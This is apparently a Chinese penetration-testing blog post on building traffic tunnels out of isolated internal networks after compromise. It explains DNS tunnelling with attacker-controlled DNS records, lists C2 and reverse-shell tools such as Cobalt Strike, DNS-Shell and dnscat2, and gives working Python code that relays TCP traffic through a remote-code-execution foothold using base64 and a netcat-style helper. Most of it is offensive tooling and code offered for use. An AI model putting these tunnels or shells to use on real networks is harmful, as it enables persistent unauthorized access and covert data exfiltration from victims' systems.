内网渗透:全封闭内网环境下的流量隧道小记 2020-02-14 09:37:23 Steven Xeldax 在进行内网渗透的时候我们可能会遇上一种情况: 1. 内网能直接访问外网 2. 内网访问不了外网,但DNS流量可以 3. 内网啥都访问不了,外网不行,DNS不行,只有唯一的反向代理能够访问。 第一种情况其实没有什么好说的,能够访问外网下还是很方便的直接弄一个reverse shell或者msf这种大马就可以持久的获取内网目标的权限进行渗透了。 第二种情况就比较坑了,在这种情况下就需要DNS最为隧道来传输我们需要的数据了。 ## DNS流量隧道 DNS流量隧道需要配置一个域名的A记录和一个NS记录。 A记录指向自己的vps服务器,NS记录写一个域名指向自己的A记录。然后NS记录作为我们DNS带外通道的配置选项,所有这个记录前缀的域名dns请求都会到我们的vps服务器上。 ### Windows windows下主要用于DNS隧道的工具有: - Cobaltstrike - DNS-Shell - DNSlivery **Cobaltstrike** 下载地址:cs为付费版本 这个作为C2常用的工具我们可以很容易的获取到,关于dns隧道默认的配置就允许执行。 **DNS-Shell** https://github.com/sensepost/DNS-Shell 用法: sudo python DNS-Shell.py -l -r [Domain] 运行之后会出来powershell命令直接复制到我们的windows目标上运行就可以。 **DNSLivery** https://github.com/no0be/DNSlivery  powershell直接运行即可 ### Linux - dns2tcp - dnscat2 **dns2tcp** https://github.com/alex-sector/dns2tcp **dnscat2** https://github.com/iagox86/dnscat2 ### 通用 **chashell** https://github.com/sysdream/chashell golang build挺卡的,建议直接使用国外vps进行操作。 **Reverse_DNS_Shell** https://github.com/ahhh/Reverse_DNS_Shell 总结上来讲,windows就用coblatstrike就可以了很方便,linux的话使用dnscat2会比较好一些。 ## STDOUT隧道 假设没有什么网络的情况下我们就只能通过webshell或者rce的接口来传输我们的流量了。 webshell的话相对来说就是实现了一个http tunnel,相应的还是有一些工具的,但假设是rce的情况下问题就比较棘手了,我们只能自己编写一个建议的流量透传进行转发了。  大致需要我们在攻击机器上运行一个proxy server然后每次通过rce把数据转发到proxyserver上,再接受回来的数据。 尝试了下效果还行:  remote server ``` import base64 import socket import threading import os import time class Client: def __init__(self): # self.host = '47.111.139.74' self.host = '127.0.0.1' # self.port = 6379 self.port = 631 self.handle = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.handle.connect((self.host, self.port)) self.handle.setblocking(False) def send(self,payload): try: self.handle.send(payload) except: self.__init__() def recv(self): try: time.sleep(0.1) return self.handle.recv(65535) except: return None class ListenSocketServer: def __init__(self): self.host = '127.0.0.1' self.port = 65000 self.handle = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.handle.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.client = None def listen(self): self.handle.bind((self.host,self.port)) self.handle.listen(5) self.client = Client() while True: tmp_handle, addr = self.handle.accept() self.event_handler(tmp_handle) def event_handler(self, client): time.sleep(0.1) data = client.recv(65535) print(data) if data == b'XCVF': ret = self.client.recv() print(ret) if ret: client.send(ret) else: self.client.send(data) ret = self.client.recv() print(ret) if ret: client.send(ret) client.close() return if __name__ == '__main__': listen_socket = ListenSocketServer() listen_socket.listen() ``` nc ``` #! /usr/bin/python import socket import sys import base64 import traceback import time try: payload = sys.argv[3] payload = base64.b64decode(payload) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((str(sys.argv[1]), int(sys.argv[2]))) # sock.setblocking(False) sock.send(payload) time.sleep(0.2) p = sock.recv(65535) print(base64.b64encode(p)) except: # traceback.print_exc() pass ``` local server ``` import base64 import socket import threading import os import time import subprocess os.system("rm /tmp/traffic") def rceFunction(traffic_paylaod): if traffic_paylaod: b64_traffic = base64.b64encode(traffic_paylaod) print(b64_traffic) # t = os.popen("echo %s |base64 -d | nc 127.0.0.1 65000" % b64_traffic) t = subprocess.Popen("nc.py 127.0.0.1 65000 %s" % str(b64_traffic)[2:-1], shell=True, stdout=subprocess.PIPE) result = t.stdout.read() print(result) else: t = subprocess.Popen("nc.py 127.0.0.1 65000 %s" % str(base64.b64encode(b"XCVF"))[2:-1], shell=True, stdout=subprocess.PIPE) result = t.stdout.read() print(result) if result: result = base64.b64decode(result) return result class ListenSocketServer: def __init__(self): self.host = '127.0.0.1' self.port = 63777 self.handle = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.handle.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) def listen(self): self.handle.bind((self.host,self.port)) self.handle.listen(5) tmp_handle, addr = self.handle.accept() self.event_handler(tmp_handle) # while True: # tmp_handle,addr = self.handle.accept() # client_handle = threading.Thread(target=self.event_handler, args=(tmp_handle,)) # client_handle.start() def event_handler(self, client): result = rceFunction(None) time.sleep(0.2) if result: client.send(result) while True: print(111) try: data = client.recv(65535) print("asd") except: data = None result = rceFunction(data) client.send(result) print(333) if __name__ == '__main__': listen_socket = ListenSocketServer() listen_socket.listen() ```